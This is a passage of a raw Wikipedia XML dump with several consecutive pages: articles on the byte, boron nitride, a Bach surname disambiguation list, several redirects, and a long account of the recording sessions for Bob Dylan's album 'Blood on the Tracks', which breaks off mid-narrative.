      <text xml:space="preserve">:''For the computer industry magazine, see [[BYTE]].''

{{Quantities of bytes}}
A '''byte''' is commonly used as a unit of [[Computer storage|storage]] measurement in [[computer]]s, regardless of the type of data being stored. It is also one of the basic [[integral data type]]s in many [[programming language]]s.

==Meanings==
The word &quot;byte&quot; has several closely-related meanings:
# A contiguous sequence of a ''fixed'' number of [[bit]]s (binary digits). In recent years, the use of a byte to mean 8 bits is nearly ubiquitous.
# A contiguous sequence of binary bits within a binary computer, that comprises the ''smallest addressable sub-field'' of the computer's natural word-size. That is, the smallest unit of binary data on which meaningful computation, or natural data boundaries, could be applied. For example, CDC 6400 (and other) scientific mainframes divided their 60-bit floating-point words into 10 six-bit bytes. These bytes conveniently held [[Hollerith]] data from punched cards, typically  the upper-case alphabet and decimal digits. The PDP-10 used assembly instructions LDB and DPB to extract bytes—these operations survive today in [[Common Lisp]]. Bytes of six, seven, or nine bits were used on some computers, for example within the 36-bit word of the [[PDP-10]].
# A contiguous sequence of binary bits in a serial  data stream, such as in modem or satellite communications, or from a disk-drive head, which is the smallest meaningful unit of data. These bytes might include start bits, stop bits, or parity bits, and thus could vary from 7 to 12 bits to contain a single 7-bit ASCII code.
# A ''[[datatype]]'' or synonym for a datatype in certain [[programming language]]s. [[C programming language|C]], for example, defines ''byte'' as a storage unit capable of at least being large enough to hold any character of the execution environment (clause 3.5 of the C standard). Since the C &lt;code&gt;char&lt;/code&gt; integral data type can hold at least 8 bits (clause 5.2.4.2.1), a byte in C is at least capable of holding 256 different values (signed or unsigned &lt;code&gt;char&lt;/code&gt; doesn't matter). [[Java programming language|Java]]'s primitive &lt;code&gt;byte&lt;/code&gt; data type is always defined as consisting of 8 bits and being a signed data type, holding values from -128 to 127.

The term &quot;byte&quot; came from &quot;bite,&quot; as in the smallest amount of data a computer could &quot;bite&quot; at once. The spelling change not only reduced the chance of a &quot;bite&quot; being mistaken for a &quot;bit,&quot; but also was consistent with the penchant of early computer scientists to make up words and change spellings.

Early microprocessors, such as Intel's 8008 (the direct predecessor of  the 8080, and then the Pentium) could perform a small number of operations on four bits, such as the DAA (decimal adjust) instruction, and the &quot;half carry&quot; flag, that were used to implement decimal arithmetic routines. These four-bit quantities were called &quot;nibbles,&quot; in homage to the then-common 8-bit &quot;bytes.&quot;

==History==

The term ''byte'' was coined by ''[[Werner Buchholz]]'' in [[1956]] during the early design phase for the [[IBM 7030|IBM Stretch]] computer. Originally it was defined in instructions by a 4-bit byte-size field, allowing from one to sixteen bits; typical I/O equipment of the period used six-bit units. A fixed eight-bit byte size was later adopted and promulgated as a standard by the [[System/360]]. The word was coined by mutating the word ''bite'' so it would not be accidentally misspelled as bit.

==Alternate words==

The eight-bit byte is often called an '''[[octet (computing)|octet]]''' in formal contexts such as industry standards, as well as in [[computer network|networking]] and [[telecommunication]], in order to avoid any confusion about the number of bits involved. However, 8-bit bytes are now firmly embedded in such common standards as [[Ethernet]] and [[HTML]]. Octet is also the word used for the eight-bit quantity in many non-English languages, where the pun on ''bite'' does not translate.

Half of an eight-bit byte (four bits) is sometimes called a [[nibble]] (sometimes spelled ''nybble'') or a [[hex digit]].  The nibble is often called a semioctet in a networking or telecommunication context and also by some standards organizations.

==Abbreviation==

Byte can be abbreviated to B (e.g. MB means megabyte).

Bit is often abbreviated to b (e.g. Mb to mean megabit), however the [[International Electrotechnical Commission|IEC]] recommends to use only &quot;bit&quot; (e.g. Mbit for megabit) for maximum disambiguation from byte.

French-speaking countries sometimes use an uppercase &quot;o&quot; for &quot;octet&quot;. This is unacceptable in [[SI]] because of the risk of confusion with the zero.

==Names for larger units==
''Note'': the names &quot;kilobyte&quot;, &quot;megabyte&quot;, etc. may be used to mean either the SI or binary multipliers. For further discussion, see [[Binary prefix]].

[[Category:Units of information]]

[[ar:بايت]]
[[ast:Byte]]
[[ca:Byte]]
[[cs:Byte]]
[[da:Byte]]
[[de:Byte]]
[[et:Bait]]
[[es:Byte]]
[[eo:Bitoko]]
[[eu:Byte]]
[[fa:بایت]]
[[fr:Octet]]
[[gl:Byte]]
[[ko:바이트]]
[[hr:Bajt]]
[[id:Byte]]
[[it:Byte]]
[[he:בית (מחשב)]]
[[lt:Baitas]]
[[hu:Bájt]]
[[ms:Bait]]
[[nl:Byte]]
[[ja:バイト (情報)]]
[[no:Byte]]
[[pl:Bajt (informatyka)]]
[[pt:Byte]]
[[ro:Octet]]
[[ru:Байт]]
[[simple:Byte]]
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[[sl:Bajt]]
[[fi:Tavu (tietotekniikka)]]
[[sv:Byte (enhet)]]
[[th:ไบต์]]
[[vi:Byte]]
[[tr:Bayt]]
[[uk:Байт]]
[[zh:字节]]</text>
    </revision>
  </page>
  <page>
    <title>British Commonwealth</title>
    <id>3366</id>
    <revision>
      <id>15901706</id>
      <timestamp>2003-04-18T18:29:36Z</timestamp>
      <contributor>
        <username>Montrealais</username>
        <id>3378</id>
      </contributor>
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Commonwealth of Nations]]</text>
    </revision>
  </page>
  <page>
    <title>Baroque Music</title>
    <id>3367</id>
    <revision>
      <id>15901707</id>
      <timestamp>2002-05-20T22:14:23Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Baroque music]]</comment>
      <text xml:space="preserve">#redirect [[Baroque music]]</text>
    </revision>
  </page>
  <page>
    <title>Board games</title>
    <id>3369</id>
    <revision>
      <id>15901708</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Board game]]

</text>
    </revision>
  </page>
  <page>
    <title>Boron nitride</title>
    <id>3370</id>
    <revision>
      <id>40923776</id>
      <timestamp>2006-02-23T22:31:50Z</timestamp>
      <contributor>
        <username>Jaraalbe</username>
        <id>261435</id>
      </contributor>
      <comment>Ceramics cat, external links, risk phrases</comment>
      <text xml:space="preserve">{| width=&quot;300&quot; border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot;
|+ &lt;font size=&quot;+1&quot;&gt;'''Properties'''&lt;/font&gt;
&lt;!--
|-
| colspan=&quot;2&quot; align=&quot;center&quot; | INSERT PICTURE HERE --&gt;
|-
! colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#FFDEAD&quot; |  '''General'''
|-
| Name
| Boron nitride
|-
| [[Chemical formula]]
| [[boron|B]][[nitrogen|N]]
|-
| [[color|Appearance]]
| White solid
|-
! colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#FFDEAD&quot; |   '''Physical'''
|-
| [[Atomic weight|Formula weight]]
| 24.8 [[atomic mass unit|amu]]
|-
| [[Boiling point]]
| sublimes at 3273 [[kelvin|K]] (3000 [[celsius|°C]])
|-
| [[Density]]
| 2.2 &amp;times;10&lt;sup&gt;3&lt;/sup&gt; [[kilogram|kg]]/[[metre|m]]&lt;sup&gt;3&lt;/sup&gt;
|-
| [[Crystal structure]]
| [[zinc blende]] or layered
|-
| [[Solubility]]
| insoluble
|-
! colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#FFDEAD&quot; |   '''Thermochemistry'''
|-
| [[Standard enthalpy change of formation|&amp;Delta;&lt;sub&gt;f&lt;/sub&gt;H&lt;sup&gt;0&lt;/sup&gt;&lt;sub&gt;gas&lt;/sub&gt;]]
| 476.98 [[joule|kJ]]/[[mole (unit)|mol]]
|-
| &amp;Delta;&lt;sub&gt;f&lt;/sub&gt;H&lt;sup&gt;0&lt;/sup&gt;&lt;sub&gt;solid&lt;/sub&gt;
| -250.91 kJ/mol
|-
| [[Standard molar entropy|S&lt;sup&gt;0&lt;/sup&gt;&lt;sub&gt;gas, 1 bar&lt;/sub&gt;]]
| 212.36 J/mol·K
|-
| S&lt;sup&gt;0&lt;/sup&gt;&lt;sub&gt;solid&lt;/sub&gt;
| 14.77 J/mol·K
|-
! colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#FFDEAD&quot; |   '''Safety'''
|- 
|  [[Risk Phrases]]
|  R36 R37
|-
| Ingestion
| Classified &quot;not hazardous&quot;
|-
| Inhalation
| ?
|-
| Skin
| ?
|-
| Eyes
| ?
|-
| More info
| ?
|-
! colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#FFDEAD&quot; |  &lt;font size=&quot;-1&quot;&gt; [[SI]] units were used where possible. Unless otherwise stated, [[standard temperature and pressure|standard]] conditions were used. 
[[Inorganic table information|Disclaimer and references]] &lt;/font&gt;
|}
'''Boron nitride''' is a [[binary compound|binary chemical compound]], consisting of equal proportions of [[boron]] and [[nitrogen]], with formula BN.  Structurally, it is [[isoelectronic]] to [[carbon]] and takes on similar physical forms: a hexagonal, [[graphite]]-like one, and a cubic, [[diamond]]-like one. Cubic boron nitride is one of the hardest materials known, behind only diamond and [[ultrahard fullerite]]. It is widely used for grinding and as a material for tools in industry. This is in part because it does not dissolve into [[iron]], [[nickel]], and related [[alloys]] at high temperatures like diamond does. Hexagonal boron nitride finds use as a high-temperature lubricant where the electrical conductivity or reactivity of graphite would be problematic.

Boron nitride can also be synthesized in forms analogous to carbon [[fullerenes]] and [[nanotubes]]. BN nanotubes are a new important nanostructure mostly due to their homogeneous electronic behavior: tubes of different chiralities are all semiconductors with almost the same band gap.

==Synthesis==
Hexagonal boron nitride is produced by the [[nitridation]] or [[ammonolysis]] of [[boron trioxide]]. Cubic boron nitride is produced by treating hexagonal boron nitride at high pressure and temperature, much as [[synthetic diamond]] is produced from graphite.

==External links==
* [http://www.npi.gov.au/database/substance-info/profiles/15.html National Pollutant Inventory - Boron and Compounds]
* [http://www.fiz-chemie.de/infotherm/html/molpages/00%5C35%5C/mol3597.html Fiz Chimie Berlin] thermophysical database 
* [http://ptcl.chem.ox.ac.uk/MSDS/BO/boron_nitride.html Materials Safety Data Sheet] at University of Oxford

==See also==
*[[Beta carbon nitride]]
*[[Borazon]]

[[Category:Nitrides]]
[[Category:Boron compounds]]
[[Category:Ceramics]]
[[Category:Superhard materials]]
[[Category:Semiconductor materials]]

[[cs:Nitrid boritý]]
[[de:Bornitrid]]
[[es:Nitruro de boro]]
[[eo:Bornitrido]]
[[fr:Nitrure de bore]]
[[nl:Boornitride]]
[[ja:窒化ホウ素]]
[[pt:Nitreto de boro]]</text>
    </revision>
  </page>
  <page>
    <title>Bach (disambiguation)</title>
    <id>3371</id>
    <revision>
      <id>40616308</id>
      <timestamp>2006-02-21T21:22:53Z</timestamp>
      <contributor>
        <ip>129.67.2.244</ip>
      </contributor>
      <comment>Changed 'finance man' to 'financier'</comment>
      <text xml:space="preserve">'''Bach''' is the surname of a number of people:

{{TOCright}}

==The Johann Sebastian Bach family==
''Main article: [[Bach family]]''
*[[Johann Sebastian Bach]] (1685&amp;ndash;1750), composer and organist, the most well-known of the Bachs
*[[Wilhelm Friedemann Bach]] (1710&amp;ndash;1784), composer and organist
*[[Carl Philipp Emanuel Bach]] (1714&amp;ndash;1788), composer, harpsichordist and pianist
*[[Johann Bernhard Bach]] (1676&amp;ndash;1749) composer, harpsichordist and organist
*[[Johann Christoph Friedrich Bach]] (1732&amp;ndash;1795), composer
*[[Johann Christian Bach]] (1735&amp;ndash;1782), composer
*[[Johann Ludwig Bach]] (1677&amp;ndash;1731), composer and violinist
*[[Johann Aegidus Bach]] (1645&amp;ndash;1716), organist and conductor
*[[Johann Gottfried Bernhard Bach]] (1715&amp;ndash;1739), organist

==Other Bachs==
* [[Arthur Bach]]
* [[Alexander von Bach]] (1813&amp;ndash;1893), Austrian baron and statesman
* [[Barbara Bach]] (born 1947), American actress
* [[Edward Bach]] (1886-1936), medical doctor known for his work in alternative medicine
* [[Kristina Bach]] (born 1962), German singer
* [[P. D. Q. Bach]], fictional composer and alter ego of Peter Schickele
* [[Richard Bach]] (born 1936), American novelist
* [[Sebastian Bach]] (born 1968), former lead singer of Skid Row, currently performs on Broadway
* [[Vincent Bach]], trumpet player and trumpet builder
* [[Ole Christian Bach]] (1957&amp;ndash;2005), Norwegian financier

==Other meanings==
* [[BACH motif]], a four-note sequence which features in a number of pieces of music, usually in homage to J.S.Bach.
* [[1814 Bach]], an asteroid
* In New Zealand, a bach is a [[holiday home]], generally a modest one.

{{disambig}}
[[Category:Lists of ambiguous human names]]
[[Category:Lists of ambiguous place names]]

[[cs:Bach]]
[[da:Bach]]
[[de:Bach]]
[[et:Bach]]
[[es:Bach]]
[[fr:Bach]]
[[ko:바흐 (동음이의)]]
[[it:Bach]]
[[hu:Bach]]
[[nl:Bach]]
[[ja:バッハ (曖昧さ回避)]]
[[no:Bach]]
[[pl:Bach]]
[[ru:Бах]]
[[fi:Bach]]
[[sv:Bach]]</text>
    </revision>
  </page>
  <page>
    <title>Biology/Additional biology topics and keywords</title>
    <id>3373</id>
    <revision>
      <id>30326391</id>
      <timestamp>2005-12-06T09:45:40Z</timestamp>
      <contributor>
        <username>Alan smithee</username>
        <id>546086</id>
      </contributor>
      <minor />
      <comment>double-redirect removal</comment>
      <text xml:space="preserve">#REDIRECT [[List of basic biological topics]]</text>
    </revision>
  </page>
  <page>
    <title>Blood on the Tracks</title>
    <id>3374</id>
    <revision>
      <id>41869667</id>
      <timestamp>2006-03-02T06:42:54Z</timestamp>
      <contributor>
        <username>JGF Wilks</username>
        <id>740658</id>
      </contributor>
      <minor />
      <comment>/* Writing and recording ''Blood on the Tracks'' */ Changed link</comment>
      <text xml:space="preserve">{{Album infobox | &lt;!-- See Wikipedia:WikiProject_Albums --&gt;
| Name = Blood on the Tracks
| Type = [[Album (music)|Album]]
| Artist = [[Bob Dylan]]
| Cover = BloodTracksCover.jpg
| Background = orange
| Released = [[January 17]], [[1975]]
| Recorded = September and December 1974
| Genre = [[Rock and roll|Rock]]
| Length = 51:41
| Label = [[Columbia Records]]
| Producer = [[Bob Dylan]]
| Reviews = &lt;nowiki&gt;&lt;/nowiki&gt;
* ''[[All Music Guide]]'' (5/5) [http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=Ahq6gtr79kl3x link]
* [[Robert Christgau]] (A) [http://robertchristgau.com/get_artist.php?id=169&amp;name=Bob+Dylan link]
* ''[[Q magazine|Q]]'' (5/5) [http://www.buy.com/prod/Blood_On_The_Tracks/q/loc/109/60614085.html#prorev December 1993]
| 
| Last album = ''[[Before the Flood]]''&lt;br /&gt;(1974)
| This album = '''''Blood on the Tracks'''''&lt;br /&gt;(1975)
| Next album = ''[[The Basement Tapes]]''&lt;br /&gt;(1975)
}}
'''''Blood on the Tracks''''' is a [[1975]] album by American singer-songwriter [[Bob Dylan]].  In [[September]] [[1974]], Dylan entered the studio with a clutch of newly written songs, many inspired by his recent estrangement from his wife of ten years, [[Sara Lownds | Sara Lownds Dylan]]. 

All ten songs on the album were originally recorded at [[New York City]] sessions produced by [[Phil Ramone]].  With Columbia set to release the LP, Dylan pulled back at the last minute, and at year's end re-recorded five of the ten songs in [[Minneapolis, Minnesota|Minneapolis]] with a crew of area session musicians assembled by his brother, David Zimmerman.  Dylan's fans theorize endlessly about his reasons for revamping the album, but the most likely reason (and the simplest) is that the musical feel of the album was monotonous, with too many songs in the same key and the same languid rhythm.

Told of the album's lasting popularity, Dylan was later to say: &quot;A lot of people tell me they enjoy that album.  It's hard for me to relate to that.  I mean, it, you know, people enjoying the type of pain, you know?&quot;

''Blood on the Tracks'' was a #1 Pop Album on the [[Billboard Music Charts]] and reached #4 in the UK.  The single &quot;Tangled up in Blue&quot; peaked at #31 on the Pop singles chart.  The album remains one of Dylan's all-time best-selling studio releases, with a double-platinum US certification to date.  It is also one of his most critically-lauded.

In Dylan's [[2004]] memoir, ''[[Chronicles,_Vol._1|Chronicles, Vol. 1]]'', he claims that although one album of his songs was entirely inspired by short stories by [[Anton Chekhov]], many of his fans and critics treat it as autobiographical.  This passage is often cited as a reference to ''Blood On The Tracks''.

==Writing and recording ''Blood on the Tracks''==

More than two months after finishing his 1974 American tour with [[The Band]], Dylan travelled back to [[New York City]], where he looked up an art teacher, Norman Raeben. Dylan was working on his skills as a painter, and Raeben was recommended to him by his friends in California. In 1978, Dylan recalled that his friends &quot;were talking about truth and love and beauty, and all these words I had heard for years, and they had 'em all defined...I asked them, 'Where do you come up with all those definitions?' and they told me about [Raeben]. I made a point to look him up the next time I was in New York, which was the spring of 1974. I just dropped [in] to see him one day and I wound up staying there for two months...Five days a week I used to go up there, and I'd just think about it the other two days of the week. I used to be up there from eight o'clock to four. That's all I did for two months.&quot;

As biographer Clinton Heylin writes, ''Blood on the Tracks'', ''[[Desire (album)|Desire]]'', and Dylan's film ''[[Renaldo and Clara]]'' (shot in the fall of 1975) &quot;share a fascination with identities that stems as much from Raeben as Dylan.&quot; In 1978, Dylan recalled that his time with Raeben &quot;locked me into the present time more than anything else I ever did...I was constantly being intermingled with myself, and all the different selves that were in there, until this one left, then that one left, and I finally got down to the one that I was familiar with...[Raeben] taught me how to see...in a way that allowed me to do consciously what I unconsciously felt. And I didn't know how to pull it off. I wasn't sure it could be done in songs because I'd never written a song like that. But when I started doing it, the first album I made was ''Blood on the Tracks''. Everybody agrees that that was pretty different, and what's different about it is there's a code in the lyrics, and also there's no sense of time.&quot;

After spending two and a half months in New York, Dylan flew to [[Minnesota]]. Ellen Bernstein recalls, &quot;He was at his best there, at his most comfortable, with his brother's house down the road. He had a painting studio out in the field, and the house was far from fancy, out in the middle of nowhere. He was very relaxed, and that's where and when he was writing ''Blood on the Tracks''.&quot;

Heylin writes that &quot;only when [Dylan] had a fully formed prototype for the song would he show it to Ellen, and invariably, by then, it had been copied into [his] little red notebook from the scraps of paper on which his initial thoughts had been sketched.&quot; Ellen Bernstein recalls &quot;Dylan would do his writing early in the morning and then kinda materialize around midday, come downstairs and eventually, during the day, share what he had written. It was in the notebook, but he would play it, and ask me what I thought, and it was always different, every time, he would just change it and change it and change it. You definitely had this sense of a mind that never stopped.&quot; Dylan would eventually fill his little red notebook with a total of seventeen complete songs.

On July 22nd, Dylan played [[Stephen Stills]] and Tim Drummond at least half a dozen of the new songs composed that spring and summer. Stills and Drummond heard these songs in a room at the [[St. Paul, Minnesota|St. Paul]] Hilton Hotel, after a [[Crosby, Stills and Nash]] concert, and soon after hearing them Drummond would praise them, describing them as &quot;gutsy, bluesy, so authentic...it's the first time I've sat in a room and liked everything I heard.&quot;

Dylan began planning his next album, and at one point, he considered hiring guitarist [[Michael Bloomfield]] for the recording sessions. (Bloomfield was a key element on Dylan's ''[[Highway 61 Revisited]]''.) However, Bloomfield recalls, &quot;[Dylan] came over and there was a whole lot of secrecy involved, there couldn't be anybody in the house. I wanted to tape the songs so I could learn them so I wouldn't [mess] 'em up at the sessions...and he had this look on his face like I was trying to put out a bootleg album or something...He started playing the [expletive-deleted] songs from ''Blood on the Tracks'' and I couldn't play, I couldn't follow them...There was this frozen guy there. It was very disconcerting...He took out his guitar, he tuned to [open E] tuning, and he started playing the songs nonstop! And he just played them all and I just sort of picked along with it...I was saying, 'No, man, don't sing the whole thing, just sing one chorus and if it's not gonna change, let me write it down so I can play with you.' And he didn't. He just kept on playing...They all began to sound the same to me, they were all in the same key, they were all long. It was one of the strangest experiences of my life.&quot;

Though his meeting with Bloomfield was not a success, Dylan continued to audition his songs to a select number of people, including [[bluegrass music|bluegrass]] picker Pete Rowan and songwriter/poet [[Shel Silverstein]], who was introduced to Dylan by Bernstein. &quot;He was very interested in people's reaction,&quot; recalls Bernstein. &quot;When Bob and I went to New York to do ''Blood on the Tracks'' he wanted to go and visit this friend of his in some Hasidic neighborhood...we went out in the backyard and he played the songs for these friends of his...&quot;

On August 2nd, Dylan also renewed his relationship with Columbia Records, Bernstein's employer and Dylan's original label. Dylan had a falling out with Columbia that led Dylan to record briefly with [[David Geffen]]'s Asylum Records, but Columbia mended its relationship with Dylan, going as far as reverting the rights to Dylan's previous album masters on the delivery of a new product. (Bernstein insists that she had no part in Dylan's decision to re-sign with Columbia.)

With a new contract secured, Dylan took his little red notebook to New York and began recording his next album. The sessions were held at A&amp;R Studios on 799 Seventh Avenue in New York, formerly known as Columbia's Studio A, back when Dylan was recording six of his albums within its confines. The first session was to be held on September 16th, with Dylan himself producing and [[Phil Ramone]] engineering. 

On the morning of the 16th, guitarist and banjo player Eric Weissberg was up at A&amp;R Studios working on an advertising jingle when he ran into Phil Ramone in the hallway. A successful session musician who, according to Weissberg, &quot;was just about the only guy who could play all the folk instruments - mandolin, fiddle, Dobro, etc. - ''and'' read music and follow a chart,&quot; he had recently scored a major hit with &quot;Dueling Banjos,&quot; a banjo instrumental he had written and recorded for the 1973 film ''[[Deliverance]]''. The success of that single led him to form a group called Deliverance, consisting of drummer Richard Crooks, keyboardist Thomas McFaul, guitarist Charlie Brown III, and bassist Tony Brown. According to Weissberg, Ramone asked him if he had a band. Weissberg told him about Deliverance, and Ramone reportedly told him that he needed a band for Dylan's recording session, set to take place that evening.

About half an hour before the first session was to begin, Weissberg and Deliverance arrived at A&amp;R Studios to unpack and tune their instruments. Weissberg brought his prized guitar, a 1939 Martin Herringbone D-28, while Charles Brown brought a Fender Telecaster.

When Dylan arrived, he began to play and sing his new songs, giving Deliverance little time to notate the music for themselves. Charles Brown recalls that Dylan &quot;didn't use any charts. I finally wound up getting a yellow legal pad and scribbling down a couple of things, which were gone, instantly, right out the window. It wasn't worth bothering to write them down, he changed things so much...He would run something down once, and maybe halfway again, and that was it: Take it! Because he wanted the immediacy of the moment, he didn't care whether there were mistakes in there or not.&quot;

Weissberg echoed Charles Brown's sentiments, recalling that Dylan had made things difficult for Deliverance, just as he had done with Bloomfield. &quot;It was weird. You couldn't really watch his fingers 'cause he was playing in a tuning arrangement I had never seen before. If it was anybody else I would have walked out. He put us at a real disadvantage.&quot; Weissberg also recalls Dylan drinking a lot of wine, and that he seemed uninterested in &quot;correcting obvious mistakes.&quot; As some critics would later note, Dylan didn't even seem fazed when his jacket's buttons rattled against his guitar. &quot;There were certain ones where you can hear the sound of his fingernails on the guitar,&quot; recalls Bernstein. &quot;That didn't matter to him. None of that stuff was important to him. What was important was the overall weight of the song.&quot;

Sometime during this session, [[John Hammond]], Sr. dropped by to welcome Dylan back to Columbia. Dylan reportedly told Hammond that he wanted his next album to be &quot;easy and natural&quot; with little, if any, overdubbing. According to Ramone, he accommodated Dylan's wishes by recording him with two guitar microphones &quot;for reasons of sound and to give him freedom of movement, because he's not prone to stand in one place without moving around...One was a Sony C37, a tube microphone; the other was a Neumann KM56. I think I tried something different on the vocals, because I went to a dynamic [microphone], a Sennheiser 421, rather than a condenser [microphone], mainly because I felt I could get around his movement better...&quot; The natural reverb in A&amp;R Studios also contributed to the sound. &quot;The room was big, but downstairs we had some incredibly good chambers. There's just a touch of the room...&quot;

Dylan recorded at least nine songs during that first session, and at least six of them were recorded with Deliverance. Master takes of &quot;Lily, Rosemary and the Jack of Hearts,&quot; &quot;Meet Me in the Morning,&quot; and &quot;Idiot Wind&quot; were successfully recorded at this session and set aside for the album, but the rest of the recordings were deemed unsatisfactory. (&quot;Call Letter Blues,&quot; an outtake recorded on the 16th, would eventually be released on ''[[The Bootleg Series Volumes 1-3 (Rare &amp; Unreleased) 1961-1991]]''.

Another session was held the following day, but this time, at Dylan's request, only bassist Tony Brown would return as Dylan's sole accompaniment. &quot;I got a call from someone in Dylan's office,&quot; Tony Brown recalls, &quot;who said 'come on back.' I asked, was Eric going to be there, and the guys? The person said, 'No, just you.' That was a shock. I had no idea why that was. I was more nervous then.&quot; At this session, master takes of &quot;You're a Big Girl Now,&quot; &quot;Shelter from the Storm,&quot; and &quot;You're Gonna Make Me Lonesome When You Go&quot; were successfully recorded and set aside for the album. &quot;I remember being struck by the songs,&quot; recalled Tony Brown. &quot;It was obvious to me what they were about, how deeply personal they were. I had a whole day with him, and the next [session] Paul Griffin was there.&quot;

That next session came on the 19th. Dylan was once again accompanied by Tony Brown, but this time, he had also recruited organist Paul Griffin to join the sessions. (Griffin had also previously recorded with Dylan.) At this session, Dylan successfully recorded master takes of &quot;Buckets of Rain,&quot; &quot;If You See Her, Say Hello,&quot; &quot;Simple Twist of Fate,&quot; &quot;Up to Me,&quot; and &quot;Tangled Up in Blue,&quot; which were set aside for the album. On this day, Dylan also overdubbed a new lyric for &quot;Meet Me in the Morning&quot; onto a &quot;Call Letter Blues&quot; backing track recorded with Deliverance on the 16th.

Tony Brown would later say that he &quot;made a conscious decision to emulate&quot; the bass playing style on Dylan's 1967 album, ''[[John Wesley Harding]]''. &quot;I used a lot of eighth notes, just like Charlie McCoy played on ''[[John Wesley Harding]]''.&quot;

Recording was deemed complete, but during the preliminary mixing and sequencing of the album, Dylan realized he had to remove one, possibly two of his chosen songs as the final product would have been 58 minutes in length, too much for a single LP but too short to give a double LP release serious consideration. As a result, &quot;Up to Me&quot; was excised, eventually seeing release on 1985's boxed-set retrospective, ''[[Biograph]]''.

Dylan had completed his album in less than a week, and Columbia was now preparing to release it by Christmas. Test pressings were eventually made and Columbia was soon printing sleeve artwork as well. On his return to Malibu, Dylan played his own test pressing to a number of friends, including [[Robbie Robertson]]. However, when Dylan went to see his younger brother, David, in Minneapolis, David apparently convinced Dylan that the album would never &quot;sell.&quot; Put off by the album's stark sound, David convinced Dylan to re-record half of the album in Minneapolis with local musicians that he would assemble at a studio he knew well. The decision would force Columbia to push back the release date for ''Blood on the Tracks''.

David first contacted an associate of his, guitarist Kevin Odegard, asking him for a 1937 0042 Martin, a compact, small-bodied acoustic guitar sometimes referred to as the &quot;[[Joan Baez]].&quot; (Baez was the first major performer of the folk scene to use it as her main instrument in performing live and in the studio.) Apparently, David was searching for the guitar on Dylan's behalf. Odegard was not able to find that exact model, as it was considered very rare, but he came close. He called his friend, guitarist and music store owner Chris Weber, asking about the guitar, and as it turned out, Weber had a 1934 0042G. &quot;The G means gut-string model setup...the neck was a little bit wider, and it wasn't really designed for steel strings,&quot; says Weber, &quot;although it was strong enough to support them.&quot; When Odegard told David about Weber's guitar, David then asked if Odegard could assemble a group of musicians for a recording session; David also told Odegard of Dylan's intentions to re-record some material for his next album. Odegard quickly assembled a band with guitarist Kevin Odegard, bassist Billy Peterson, keyboardist Gregg Inhofer, and drummer Bill Berg, and in the end, he was able to convince David to grant him permission to bring Weber to the session. (Reportedly, David relented in order to ease the sale of Weber's guitar; Dylan would ultimately buy Weber's guitar.)

The musicians reported to Studio 80 in [[Minneapolis]] on Friday, December 27th, where Weber showed Dylan his guitar. Weber and Dylan sat in the studio's glass vocal recording booth, where Dylan was able to hear the instrument better, and as they talked, Dylan asked if Weber wrote anything. Weber played him a piece called &quot;'A' Rag,&quot; a performance that convinced Dylan of Weber's instrumental abilities. Dylan then played &quot;Idiot Wind&quot; to Weber and asked him if he could learn it and teach it to the other musicians. &quot;Because he wanted to keep it fresh and didn't want to have to keep going over it,&quot; recalls Weber. &quot;So he laid down a C minor chord...[and] he proceeded to teach me the progression of the song 'Idiot Wind'...In a few minutes we worked out the song. I suggested an A minor seventh chord instead of the A seventh chord that he had been playing, and he said, 'Leave that in there; that sounds nice.' I learned the song, we left the booth, and I went out and taught it to the band.&quot; 

Dylan proceeded to re-record &quot;Idiot Wind&quot; backed by these local musicians, and after Dylan punched in a few vocals, Peterson had to leave for his regular, pre-arranged performance at a local jazz club. There would be no time for a replacement, but sometime after Peterson's departure, rather than end the session, Dylan informed engineer Paul Martinson that he wanted to record &quot;You're a Big Girl Now.&quot; 

&quot;I remember 'You're a Big Girl Now' in particular,&quot; recalls Inhofer. &quot;I couldn't play the organ part the way [Dylan] wanted it because I wasn't very well versed in Hammond B-3 at the time...he said, 'No, man - here, you go play the piano, I'll play the organ.' And so I was learning the song on the piano and he was standing next to me when I played a third in the bass, an F sharp over the D chord, and he said, 'Hey, what's that? That's cool, I like that, keep that in.&quot;

Two complete takes of &quot;You're a Big Girl Now&quot; were recorded when Weber suggested a twelve-string guitar to &quot;give it a lot more fullness.&quot; Dylan almost sent Weber on an errand to retrieve a twelve-string guitar, but by then it was getting late, and they decided to call it a night. Master takes of &quot;Idiot Wind&quot; and &quot;You're a Big Girl Now&quot; were later selected from this session would ultimately replace the 'New York' master take on the final album. 

Dylan was pleased with the results from the 27th, and the same musicians were asked to return to Studio 80 for a second session. This time, Weber brought mandolin player Peter Ostroushko and banjo player Jim Tardoff &quot;because Bob had mentioned on Friday that he really wanted this to be an acoustic album, a return to his roots...So he was open to other traditional acoustic instruments.&quot;

On December 30th, the local musicians, with Ostroushko and Tardoff, re-convened at Studio 80, where Dylan proceeded to re-record &quot;Tangled Up in Blue,&quot; &quot;Lily, Rosemary and the Jack of Hearts,&quot; and &quot;If You See Her, Say Hello.&quot; 

During the New York sessions, Dylan recorded &quot;Tangled Up in Blue&quot; in the key of E with an open-tuning configuration. When he began sessions in Minneapolis, Dylan raised the pitch, performing the song in the key of G. Dylan was pleased with this new key, but when he asked Odegard what he thought of the new arrangement, he was taken aback when Odegard called it &quot;passable.&quot; Odegard would later claim that he was so relaxed, he did not realize the impact of his casual response until seconds later. Fearing his termination was imminent, Odegard quickly added that &quot;it would be better, livelier, if we moved it up to A with capos. It would kick ass up a notch.&quot; Dylan thought it over and said, &quot;All right, let's try it.&quot; Odegard and Weber then moved their capos up two frets while Dylan simply adjusted his fingered bar-chord positions. The new key also prompted Dylan to sing with more force in order to hit the higher notes. After a successful run-through with this new key, Odegard then suggested a new guitar lick.

